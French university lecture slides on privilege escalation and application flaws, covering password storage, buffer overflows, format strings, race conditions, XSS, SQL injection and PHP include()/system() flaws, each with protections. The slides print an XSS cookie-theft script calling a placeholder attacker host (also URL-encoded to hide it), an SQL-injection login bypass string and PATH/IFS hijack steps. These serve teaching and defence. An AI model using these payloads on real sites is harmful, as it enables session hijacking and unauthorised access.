Vous êtes sur la page 1sur 78

Année 2009-2010

Sécurité des systèmes informatiques


 Escalade des privilèges 

Nicolas Baudru
mél : nicolas.baudru@esil.univmed.fr
page web : nicolas.baudru.esil.perso.univmed.fr

1
Mise en garde

Ce cours a uniquement pour but de vous montrer comment une mauvaise


implémentation d’un programme peut le rendre vulnérable à une attaque.

Nous déclinons toute responsabilité quant à la mauvaise utilisation de ce cours.

L’utilisation des différentes attaques décrites dans ce cours peut être sanctionnée
jusqu’à trois ans de prison et soixante quinze mille euros d’amende.

2
Introduction

Sécuriser les systèmes informatiques

+ La sécurité des ordinateurs consiste à développer des solutions pour :


I préserver l’intégrité d’un système ;
I garantir la disponibilité d’un système ou d’un service ;
I maintenir la confidentialité des données

+ Autrement dit, il faut pouvoir faire face aux attaques suivantes :


I intrusion ;
I déni de service ;
I escalade des privilèges.

3
Introduction

La base de la sécurité : la division des privilèges

Aucun système ne peut être parfaitement sûr car ses utilisateurs ne le sont pas.
å il est nécessaire de protéger chaque utilisateur des autres, ce qui conduit au
principe de division des privilèges.

+ La division des privilèges nécessite :


I une protection logicielle entre les utilisateurs : identification (qui ils sont) et
authentification (il faut le prouver).
I une protection matérielle au niveau du noyau : l’architecture de l’ordinateur
doit rendre possible la division des privilèges en séparant l’espace mémoire du
noyau de l’espace mémoire des utilisateurs (appels systèmes nécessaires pour
effectuer des actions sensibles).

4
Introduction

Vulnérabilités applicatives

+ De nombreuses applications sont vulnérables à cause d’une mauvaise


programmation, souvent involontaire (négligeance, manque de temps,. . .), et
parfois intentionnelles.

+ Toutes les applications peuvent être touchées !

+ Les solutions contre ces vulnérabilités sont souvent simples à mettre en


oeuvre :
I utilisation de fonctions sécurisées
I validation des chaînes de caractères récupérées en entrée
I techniques d’échappement des caractères spéciaux
I activation de certaines protections systèmes
I etc.

+ La détection de ces failles est cependant assez difficile et nécessite souvent un


audit approfondi et des tests de sécurité.
5
Introduction

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

6
Vulnérabilité des mots de passe

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

7
Vulnérabilité des mots de passe

Nom d'utilisateur et mot de passe

+ Sur les systèmes modernes multi-utilisateurs, il est nécessaire de s’authentifier


pour accéder à l’OS. Pour cela on utilise généralement une paire
<login | mot de passe>

I Un mot de passe est une succession arbitraire de lettres et de chiffres de


longueur finie (généralement 6 à 8 caractères) authentifiant un utilisateur.
I Les mots de passe sont encodés et placés dans des fichiers à accès limité.
I Le codage utilisé peut être réversible ou non. Les méthodes les plus utilisées
sont DES (Data Encryption Standard) et MD5.

Remarque : l’authentification peut être obtenue par d’autres mécanismes tels que
les systèmes à cartes à puce (souvent couplés avec un mot de passe) ou la
biométrie.

8
Vulnérabilité des mots de passe

Stockage du mot de passe dans le modèle UNIX

“login = UID”
+ Un UID est un nombre entier non signé sur 16 bits (en général). A chaque
UID est associé un mot de passe utilisateur. Le triplet <nom d’utilisateur / UID /
mot de passe> était traditionnellement enregistré dans le fichier /etc/passwd :
I ce fichier est lisible par tous ;
I les mots de passe y sont encodés (généralement par la méthode DES) ;
I les mots de passe sont vulnérables aux attaques par dictionnaire.

+ Maintenant, les mots de passe sont enregistrés dans /etc/shadow :


I le fichier /etc/passwd ne contient plus les mots de passe ;
I le fichier /etc/shadow est lisible par le root uniquement ;
I ce dernier fichier permet des schémas d’expiration et le remplacement
automatique des mots de passe est possible.

+ L’authentification s’effectue en comparant le mot de passe encodé donné par


l’utilisateur à celui du fichier /etc/passwd (ou shadow).
9
Vulnérabilité des mots de passe

Le principe du cryptage dans le modèle UNIX

char* crypt(const char *key, const char *setting) ;

La chaîne key (le mot de passe) est utilisée pour chiffrer suivant l’algorithme DES
un bloc de 64 bits tous mis à 0.

Le tableau de caractères setting, lorsqu’il ne comprend que deux caractères


(seulement 12 bits sont utilisés réellement), est appelé salt (sel) et permet
d’introduire du désordre à l’algorithme DES.
å deux mots de passe identiques seront codés différemment.

Le résultat de cette fonction est une chaîne de 64 bits (provenant de 25 codages


successifs) stockée sous la forme de 11 caractères imprimables. Deux caractères
suplémentaires (provenant du sel) sont placés devant les 11 caractères. Le tout (les
13 caractères) constitue le mot de passe codé stocké dans le fichier /etc/passwd.

10
Vulnérabilité des mots de passe

Les attaques des mots de passe

+ Attaque par dictionnaire : un programme tente de deviner le mot de passe d’un


utilisateur en se basant sur ses informations personnelles (nom/prénom, login) et
des mots des dictionnaires qu’on lui fournit.

+ Se protéger des attaques par dictionnaire :


I Enregistrer les mots de passe dans le fichier shadow plutôt que passwd .
I Le choix du mot de passe est important. Il faut éviter :
I les mots du dictionnaire ;
I les mots ayant un rapport avec l’utilisateur (nom du chien par exemple) ;
I les suites de lettres formant une combinaison simple sur le clavier (une partie
d’une ligne) ;
I etc.
Un bon mot de passe doit pouvoir être mémorisé par l’utilisateur.
I Pour une sécurité optimale, le mot de passe doit être changé suffisamment
souvent.

11
Vulnérabilité des mots de passe

Les attaques des mots de passe

+ Attaque par renifleurs : lors d’une connexion à distance en utilisant rlogin ou


telnet, il est possible d’intercepter le login et le mot de passe en clair. (voir aussi la
partie sur la vulnérabilité des réseaux)

+ Se protéger des renifleurs :


I Utiliser des sessions sécurisées type ssh ou Kerberos.
I Utiliser des mots de passe jetables (one time passwords)
I choisis parmi une liste de mots de passe
I obtenus via une carte à cristaux liquides
I etc

12
Buffer overflow

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

13
Buffer overflow

Présentation

Le dépassement de tampon (ou de pile, ou de tas) est une technique ancienne,


bien connue, et encore très utilisée exploitant une faille du programme pour en
prendre le contrôle.

Elle consiste à faire déborder un tampon sur la pile afin d’injecter (et exécuter) du
code malveillant.

Pour que cette faille aparaîsse, il suffit que le programmeur stocke ses données
dans un tableau sans en vérifier la longueur.

L’exemple suivant est décrit en détaille dans l’article intitulé “Dépassement de pile
sous Linux x86” disponible sur le site www.hakin9.com.

14
Buffer overflow

Dépassement de tableau

Exemple :
Se programme peut provoquer à
l’exécution un “segmentation fault”.
I Pourquoi ?
I À quel moment de l’exécution
exactement ?

å pour répondre précisément à ces


questions il faut bien comprendre le
fonctionnement de la pile.

15
Buffer overflow

Rappel : fonctionnement de la pile (1)

16
Buffer overflow

Rappel : fonctionnement de la pile (2)

17
Buffer overflow

Rappel : fonctionnement de la pile (3)

18
Buffer overflow

Rappel : fonctionnement de la pile (4)

19
Buffer overflow

Rappel : fonctionnement de la pile (5)

20
Buffer overflow

Exploiter la faille

Revenons à notre buffer. Celui-ci occupe dans la pile 10 octets. Si la chaîne de


caractères lue est trop longue, elle va dépasser du tableau, et peut aller jusqu’à
écraser l’adresse de retour :
å c’est ce qui provoque le segmentation fault.

C’est ici qu’est la faille. En effet en choisissant bien l’entrée, on peut écraser
l’adresse de retour par une autre adresse valide pointant sur une case du buffer.

Remarque : on peut facilement déterminer l’adresse où est stockée l’adresse de


retour de la fonction en utilisant un debugger.

21
Buffer overflow

Exploiter la faille (suite)

L’écrasement de l’adresse de retour va être utilisé pour provoquer l’exécution du


shell /bin/sh commun à toutes les distributions Unix et Linux. En C, il faudrait
utiliser l’instruction : execve(argv[0],/bin/sh,NULL) .

Puisque cette instruction doit être placée directement dans la pile, on va générer
du code assembleur de cette instruction, par exemple :

On peut vérifier que ce shellcode est correct :

22
Buffer overflow

Exploiter la faille (n)

Il ne reste alors qu’à injecter le shellcode dans l’appplication :

23
Buffer overflow

Se protéger des dépassement de tableaux

Au niveau de l’application :
I toujours vérifier la longueur des données reçues
å utiliser les fonctions avec contrôle de longueur :
gets(str) → fgets(stdin, str, 10)
scanf(%s, str) → scanf(%10s, str)
Au niveau du compilateur :
I changer l’emplacement du buffer à chaque démarage du programme.
I placer un canary devant chaque adresse de retour.

Au niveau de l’OS :
I la pile peut être rendue non exécutable.
Exemple : patch PaX pour Linux ; dans Solaris, ajout dans /etc/system des
lignes :
set noexec_user_stack=1
set noexec_user_stack_log=1

Remarque : Il est possible de contourner plusieurs de ces protections en utilisant la


technique du return-to-libc. 24
Format string

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

25
Format string

Chaînes de format

En C, les chaînes de format sont des chaînes de caractères contenant des


spécificateurs reconnus par les fonctions de type printf().

Elles permettent de formater l’affichage des arguments passés à la fonction.

Exemple :

26
Format string

Quelques spécicateurs de format

spécificateur résultat passé par


%d nombre entier valeur
%f floatant valeur
%x naturel en hexadécimal valeur
%c caractère valeur
%s chaîne de caractères référence
%n nombre de caractères écrits jusqu’à présent référence
Exemple :

27
Format string

Fonctionnement des chaînes de format (1)

Contenu de la pile après l’exécution du printf() dans le cas normal :

variables locales de la fonction d'appel


(ici main()). Contient les variables
nb
x
...

arguments de la fonction printf()


direction des adresses

pointeur vers la variable nb


direction de la pile

(utilisé par %n)

pointeur vers la variable x


(utilisé par %s)

pointeur vers la chaîne de format

adresse de retour de la fonction printf()

28
Format string

Fonctionnement des chaînes de format (2)

Que se passe-t-il si on oublie de passer un argument à printf() ?

Exemple :

29
Format string

Fonctionnement des chaînes de format (3)

Que se passe-t-il si on oublie de passer un argument à printf() ?

Explication : contenu de la pile après l’exécution du premier printf() :

variables locales de la fonction d'appel


(ici main()). Contient entre autres la

arguments de la fonction printf()


variable x.
direction des adresses

direction de la pile

argument utilisé par défaut par le


spécificateur %s. Contient 0x??

pointeur vers la chaîne de format

adresse de retour de la fonction printf()

30
Format string

Fonctionnement des chaînes de format (4)

Oublier des arguments dans printf() peut provoquer des erreurs à l’exécution !

Exemple :

31
Format string

Fonctionnement des chaînes de format (5)

Oublier des arguments dans printf() peut provoquer des erreurs à l’exécution !

Explication : Contenu de la pile après l’exécution du deuxième printf() :

variables locales de la fonction d'appel


(ici main()). Contient entre autres les
variables x et nb.

arguments de la fonction printf()


argument utilisé par défaut par le
direction des adresses

spécificateur %n. Contient 0x??


direction de la pile

pointeur vers la variable x


Case mémoire
0x?? non
accessible au
processus
pointeur vers la chaîne de format
=> erreur

adresse de retour de la fonction printf()

32
Format string

La faille

On peut utiliser la fonction printf() et son spécificateur %n pour modifier la valeur


d’une variable locale de la fonction main() .

variables locales du main() variables locales du main()


... ...
nb nb

arguments de la fonction printf()


direction des adresses

... ...
direction de la pile

&nb &nb utilisé par %n


...
arguments utilisés par un
nombre assez grand de
spécificateurs %x

pointeur vers la chaîne de


format

adresse de retour de printf()

-- ETAPE 1 -- -- ETAPE 2 --
mettre dans la pile l'adresse appeler la fonction printf() avec
de la variable nb une chaîne de format "assez longue" du type
%x %x ... %x %n
33
Format string

Exploiter la faille

34
Format string

Mise en oeuvre

Essayons maintenant de cracker un petit programme aussi simple qu’inutile ;)

On veut de nouveau modifier la valeur de nb . . . mais sans toucher au code.


35
Format string

Mise en oeuvre  Etape 1

On examine le contenu de la pile après l’exécution du premier printf() :

variables locales du main()


f[0-3] = AAAA = 0x41414141
nb = 7 = 0x7
direction des adresses

0
direction de la pile

0
0
0x8fe34eb3
0
0xbffffc4a
pointeur vers la chaîne de
format

adresse de retour de printf()


36
Format string

Mise en oeuvre  Etape 2

On place dans la pile l’adresse de nb en lieu et place de AAAA :

Remarques :
1. La commande shell echo -e '\xbf\x\xf1\x6c' ...
2. Les apostrophes inverses (‘ ‘). . .
3. Attention à l’architecture “little endian”
4. L’adresse de la variable nb a changé à cause de la longueur de la chaîne de
caractères f.

37
Format string

Mise en oeuvre  Etape 2 (suite)

On place dans la pile l’adresse de nb en lieu et place de AAAA :

Remarques :
1. Le spécificateur %8$x permet d’afficher directement le 8ième argument
2. On a mis à jour l’entrée en tenant compte de la nouvelle adresse et de
l’architecture “little endian”.
3. Le 8ième argument est bien l’adresse de nb .

38
Format string

Mise en oeuvre  Etape 2 (n)

On est donc maintenant dans la situation suivante :

variables locales du main()


f[0-3] = 0xbffff14c
nb = 7 = 0x7
direction des adresses ???

direction de la pile
???
???
???
???
???
pointeur vers la chaîne de
format

adresse de retour de printf()

Donc si l’on remplace dans la ligne de commande précédente le spécificateur %8$x


par le spécificateur %8$n, le nombre de caractères écrits jusqu’à présent sera
enregistré dans la variable stockée à l’adresse décrite par le 8ième argument, soit
nb.
39
Format string

Mise en oeuvre  Etape 3

Au final, il faut entrer la commande suivante :

On sait maintenant modifier “aléatoirement” le contenu de la variable nb .


Comment choisir le nombre affecté à cette variable ?

40
Format string

Comment entrer un grand nombre ?  Méthode 1

En utilisant plus de caractères dans l’argument de la ligne de commande :

Remarques :
I L’ajout de caractères peut modifier l’endroit où est stockée la variable nb .
I Cette méthode est limitée par la taille du tableau f[2560].

41
Format string

Comment entrer un grand nombre ?  Méthode 2

En utilisant les spécificateurs : par exemple, %13x provoque l’affichage de 13


caractères.

Remarques :
I L’ajout de caractères peut modifier l’endroit où est stockée la variable nb .
I Méthode pas très subtile.

42
Format string

Comment entrer un grand nombre ?  Méthode 3

En utilisant la façon dont sont stockés les entiers en mémoire.

43
Format string

Comment entrer un grand nombre ?  Méthode 3 (suite)

variables locales
du main() f
direction des adresses

0Xbffffbab
direction de la pile

0Xbffffbac f 0Xbffffbaa a4
nb 0Xbffffba9 bc
0Xbffffba8 7f
0Xbffffba8

44
Format string

Comment entrer un grand nombre ?  Méthode 3 (encore)

variables locales
du main()
0
0 0
variable f
0 0 0
0Xbffffbab f 0 0 0 f
0Xbffffbaa a4 0 0 a4 entier à
0Xbffffba9 bc 0 bc entier à l'adresse
7f 7f 0Xbffffbab
entier nb à entier à l'adresse
l'adresse 0Xbffffbaa
l'adresse entier à
0Xbffffba8 l'adresse 0Xbffffba9
0Xbffffba8

45
Format string

Comment entrer un grand nombre ?  Méthode 3 (toujours)

variables locales
du main()

0Xbffffbab
variable f 0Xbffffbaa 0
0Xbffffba9 0 0
0Xbffffba8 0 0 0
0Xbffffbac
0 0 0 f
variable nb 0 0 a4 entier à
0 bc entier à l'adresse
7f 0Xbffffbab
entier à l'adresse
0Xbffffba8 0Xbffffbaa
entier à l'adresse
l'adresse 0Xbffffba9
0Xbffffba8
pointeur vers la
chaîne de
format
adresse de
retour de printf

46
Format string

Comment entrer un grand nombre ?  Méthode 3 (n)

Au final nous obtenons la ligne de commande suivante :

Remarque :
I L’ajout de caractères a modifié l’endroit où est stockée la variable .
nb

47
Format string

Comment se servir de ce type de vulnérabilité

Exemple :

Fonctionnement normal LA BIBLIOTHÈQUE Fonctionnement du programme


du programme après crackage
PILE PILE
(...)
fonction_lib()
(...) (...)
(...)
GOT Autre_fonction() GOT
(...)
(...) (...)
pointeur vers fonction_lib pointeur vers
(...) Autre_fonction
PROGRAMME (...)

(...)
(...)
(...) printf(ch);
variable ch contenant
variable ch (...)
notre chaîne de format
(...) fonction_lib(ch);
(...)
(...)

I On peut modifier la valeur du pointeur vers fonction_lib de manière à pointer


vers une autre fonction système qui nous intéresse.
48
Format string

Se protéger

+ Au niveau de l’application :
I attention aux erreurs qui permettent de transmettre une chaîne de format
I quelques outils existent pour se protéger contre ce type de vulnérabilité :
I pscan,
I Flawfinder,
I RATS,
I ITS4,
I ...

+ + protections similaires à celles utilisées pour le buffer overflow.

49
Race condition

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

50
Race condition

Présentation

+ Faille peu exploitée mais redoutable. Elle consiste à détourner l’utilisation


d’une application setuid pour permettre à un utilisateur Unix de s’élever les droits
d’un fichier.

+ Cette faille utilise :


I les droits spéciaux tels que setuid, getuid et sticky bit ;
I les liens symboliques ;
I le plus souvent les fichiers créés dans le repertoire /temp ;
I l’accès concurrent à ces fichiers par des processus appartenant à des
utilisateurs distincts.

+ Cette faille devient redoutable lorsque le lien pointe vers un fichier système
critique (du style /etc/shadow) et que l’application est setuid root.

51
Race condition

Droits spéciaux : setuid, getuid et sticky bit

+ Pour les fichiers :


I setuid : utiliser l’ID du propriétaire du fichier lors de l’exécution ;
I getuid : utiliser l’ID du groupe propriétaire du fichier lors de l’exécution ;
I sticky bit : conserver le code du programme sur le périphérique de swap après
exécution.

+ Pour les répertoires :


I sticky bit : indique que seuls le propriétaire du répertoire et le propriétaire
d’un fichier qui s’y trouve ont le droit de supprimer ce fichier.

52
Race condition

Comment s'éléver les droits sur un chier ?

Exemple :

À l’exécution :

53
Race condition

Comment s'éléver les droits sur un chier ? (suite)

Un premier test...

54
Race condition

Comment s'éléver les droits sur un chier ? (n)

Pour exploiter la faille il suffit d’utiliser les liens symboliques...

Remarque : dans le cas d’un fichier temporaire, l’application doit être tuée avant
qu’elle n’efface ce fichier.

55
Race condition

Première étape pour améliorer la sécurité

I Ne pas utiliser de noms de fichiers temporaires faciles à deviner ;


I Vérifier si le fichier à créer existe déjà, ou la présence d’un lien vers ce fichier :

Mais cela ne suffit pas !

56
Race condition

Race condition

Processus RCListing2 : processus P :

——— préemption de RCListing2 ——— — activation de P —


création du lien
chier_temp.txt
vers chier_perso.txt
——— activation de RCListing2 ——— — préemption de P —

57
Race condition

Augmenter la sécurité

En plus des mesures précédentes :


I créer un sous-répertoire dans le répertoire /temp avec un accès limité,
I et utiliser des noms de fichiers temporaires arbitraires (voir la fonction C
mkstemp (3)) placés à l’intérieur de ce répertoire.

58
XSS

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

59
XSS

Présentation

+ Cross-Site Scripting (XSS ou CSS) : attaque consistant à forcer un site web à


afficher du code HTML ou des scripts saisis par les utilisateurs.

+ Cette attaque touche les sites webs affichant dynamiquement du contenu


utilisateur sans effectuer de contrôle des informations saisies par les utilisateurs.
Le code est injecté via l’URL.

+ Risques : il est possible d’afficher du code HTML supplémentaire et malicieux


dans une page web vulnérable afin de
I changer son aspect,
I modifier son contenu (ajouter des liens vers des sites malveillants)
I modifier son comportement (récupérer des cookies et des données
confidentielles).

60
XSS

Comment exploiter cette faille

+ La plupart des navigateurs modernes interprètent des scripts contenus dans les
pages web tels que JavaScript, VBScript, ActiveX ou Flash par l’intermédiaire des
balises HTML suivantes :
<SCRIPT> <OBJECT> <APPLET> <EMBED>.

Conséquence : il est possible d’injecter du code arbitraire dans la page web, afin
que celui-ci soit exécuté sur le poste de l’utilisateur.

å si le navigateur de l’utilisateur est configuré pour exécuter de tels scripts, alors


le code malicieux a accès à l’ensemble des données partagées par la page web de
l’utilisateur et le serveur (cookies, champs de formulaires, etc.).

61
XSS

Comment exploiter cette faille (suite)

Exemple :

Le message est transmis via l’URL :


http ://www.siteDeConance.net/ ?message=hello word

62
XSS

Comment exploiter cette faille (n)

Exemple :

<SCRIPT>
document.location='http ://site.pirate/voleCookie.php ?cookie='+document.cookie

</SCRIPT>

Le code ci-dessus récupère les cookies de l’utilisateur et les transmet au pirate :

http ://www.siteDeConance.net/ ?message=<SCRIPT>document.location

='http ://site.pirate/voleCookie.php ?cookie='+document.cookie</SCRIPT>

å encodage de l’URL pour masquer l’attaque :

http ://www.siteDeConance.net/ ?message=%3c%53%43%52%49%50%54%3e

%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e...

63
XSS

Deux types de failles XSS

+ Faille non permanente :


I apparaît lorsque les données fournies par un utilisateur sont directement
utilisées par le serveur pour fournir une page de résultat “personnalisée” au
client ;
I l’attaque reste locale ;
I l’attaque doit être couplée avec des techniques d’ingénierie sociale (social
engineering) pour être effective.

+ Faille permanente :
I apparaît lorsque les données entrées par un utilisateur sont stockées sur un
serveur, puis réaffichées (ex : blog, forums, etc) ;
I Cette attaque est très puissante puisqu’elle touche un grand nombre de
personnes simultanément sans avoir recours à l’ingénierie sociale.

64
XSS

Exemple

1. Un utilisateur malfaisant envoie un courriel à la victime qui contient un script


javascript
2. La victime se connecte à l’application webmail en entrant son code utilisateur
et mot de passe via SSL
3. Le serveur envoie un cookie au client contenant un identificateur unique de
session.
4. L’utilisateur lit le message malfaisant qui est affiché tel quel
5. Le javascript s’exécute, récupère le cookie contenant la session, et redirige le
client vers un serveur malfaisant en envoyant à celui-ci la session en paramètre
6. Le serveur malfaisant reçoit la session de la victime et redirige le client vers la
page précédente
7. L’utilisateur malfaisant peut maintenant accéder au compte webmail et
effectuer un vol d’identité

65
XSS

Protection contre le XSS

+ Chez l’utilisateur :
Désactiver l’exécution des langages de scripts. (Très contraignant mais efficace).

+ Au niveau du site web :


I Cacher les variables dans l’URL en utilisant des techniques “d’URL
rewriting” ;
I Vérifier le format des données entrées par les utilisateurs ;
I Encoder les données utilisateurs affichées en échappant les caractères spéciaux
(utilisation des fonctions htmlentities() ou htmlspecialchars() en PHP).

66
Injection SQL

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

67
Injection SQL

Présentation

+ Faille touchant les sites Webs interagissant de manière non sécurisée avec une
base de données. Son principe est de détourner les requêtes SQL pour obtenir par
exemple :
I un accès à des pages ou des données confidentielles ;
I créer des fichiers sur le serveur ;
I obtenir des informations sur le serveur ou les bases de données.

68
Injection SQL

Injections SQL (suite)

Exemple :

Où est la faille ?

69
Injection SQL

Injections SQL (n)

+ La faille : Imaginons que nous rentrons pour $_POST["login"] ceci :

a' OR 'a'='a'#

Alors la requête SQL devient :

+ Sécuriser la faille :
I utiliser l’URL rewriting ;
I utiliser la fonction mysql_real_escape_string(), fournie par l’API, pour
échapper les caractères ;
I ne pas oublier de mettre des “ ’ ” même autour des nombres.

70
Faille include()

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

71
Faille include()

Présentation

+ C’est une faille PHP très connue due à une erreur de programmation, qui
exploite les fonctions du type include(), require(), . . .

Ces fonctions permettent d’inclure un fichier et d’exécuter son contenu.

Exemple :

où l’URL ressemble à index.php ?page=lm.php

72
Faille include()

Exploiter la faille

+ La faille : la fonction include() ne vérifie pas si la page existe localement. Cela


permet de créer des backdoors pour, par exemple :
I lire le source de la page

I lister les dossiers du sites,


I placer des chevaux de Troie pour récupérer un login\pass
I et même afficher des fichiers normalement protégés comme .htpasswd,
/etc/shadow (si le serveur fonctionne en root, on peut toujours réver ;), . . .

73
Faille include()

Se protéger

+ Sécuriser la faille :
I toujours vérifier si les pages à inclure sont bien sur le serveur ;
I encore mieux : créer un tableau répertoriant les pages que l’on peut inclure.

74
Faille system()

Plan

1 Vulnérabilité des mots de passe

2 Buffer overflow

3 Format string

4 Race condition

5 XSS

6 Injection SQL

7 Faille include()

8 Faille system()

75
Faille system()

Présentation

+ La fonction system() de Linux permet d’exécuter une commande passée en


argument. Cette commande est recherchée à l’aide des variables d’environnement
PATH et IFS.

+ Sur certaines versions Linux, cela crée une vulnérabilité dès lors que le
programme appelant la fonction system() est Set-UID.

76
Faille system()

Exploiter la faille

+ Rappels :
I La variable PATH contient une liste de répertoires où rechercher un
programme séparés par “ :”.
PATH=/bin :/usr/bin :/home/bob

I La variable IFS contient le caractère de séparation des arguments d’un


programme.

+ La faille :
Si la fonction system() fait appel à un programme /bin/Prog1 alors il suffit de
I créer un programme bin dans notre répertoire courant,
I placer le répertoire courant au début de la variable PATH ,
I modifier la variable IFS pour que le séparateur d’arguments soit “/”.

77
Faille system()

Se protéger

+ Il est très facile de sécuriser cette faille :


I Utiliser une version de Linux où cette faille de sécurité a été corrigée
I Ne pas utiliser system() mais plutôt les fonctions du type exec() .

78

Vous aimerez peut-être aussi